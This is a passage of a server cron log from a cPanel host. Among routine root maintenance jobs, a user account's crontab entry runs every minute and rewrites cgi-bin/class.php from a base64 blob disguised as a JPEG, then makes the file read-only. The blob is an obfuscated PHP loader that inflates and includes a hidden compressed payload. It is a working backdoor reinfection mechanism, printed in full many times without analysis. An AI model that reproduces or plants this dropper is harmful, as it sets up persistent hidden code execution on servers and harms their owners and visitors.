tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:46:01 server CROND[19206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:46:01 server CROND[19207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:46:01 server CROND[19210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:47:01 server CROND[19588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:47:01 server CROND[19590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:47:01 server CROND[19589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:48:01 server CROND[20073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:48:01 server CROND[20074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:48:01 server CROND[20075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:49:01 server CROND[20455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:49:01 server CROND[20454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:49:01 server CROND[20456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:50:01 server CROND[20848]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:50:01 server CROND[20849]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 01:50:01 server CROND[20853]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 01:50:01 server CROND[20855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:50:01 server CROND[20857]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 01:50:01 server CROND[20860]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 01:50:01 server CROND[20854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:50:01 server CROND[20862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:50:01 server CROND[20856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:51:01 server CROND[21750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:51:01 server CROND[21751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:51:01 server CROND[21752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:52:01 server CROND[22133]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:52:01 server CROND[22134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:52:01 server CROND[22135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:53:01 server CROND[22608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:53:01 server CROND[22610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:53:01 server CROND[22609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:54:01 server CROND[23151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:54:01 server CROND[23150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:54:01 server CROND[23152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:55:01 server CROND[23532]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:55:01 server CROND[23533]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 01:55:01 server CROND[23537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:55:01 server CROND[23535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:55:01 server CROND[23536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:55:01 server CROND[23534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:55:01 server CROND[23539]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 01:56:01 server CROND[24365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:56:01 server CROND[24366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:56:01 server CROND[24367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:57:01 server CROND[24758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:57:01 server CROND[24759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:57:01 server CROND[24760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:57:01 server CROND[24761]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 01:58:01 server CROND[25146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:58:01 server CROND[25147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
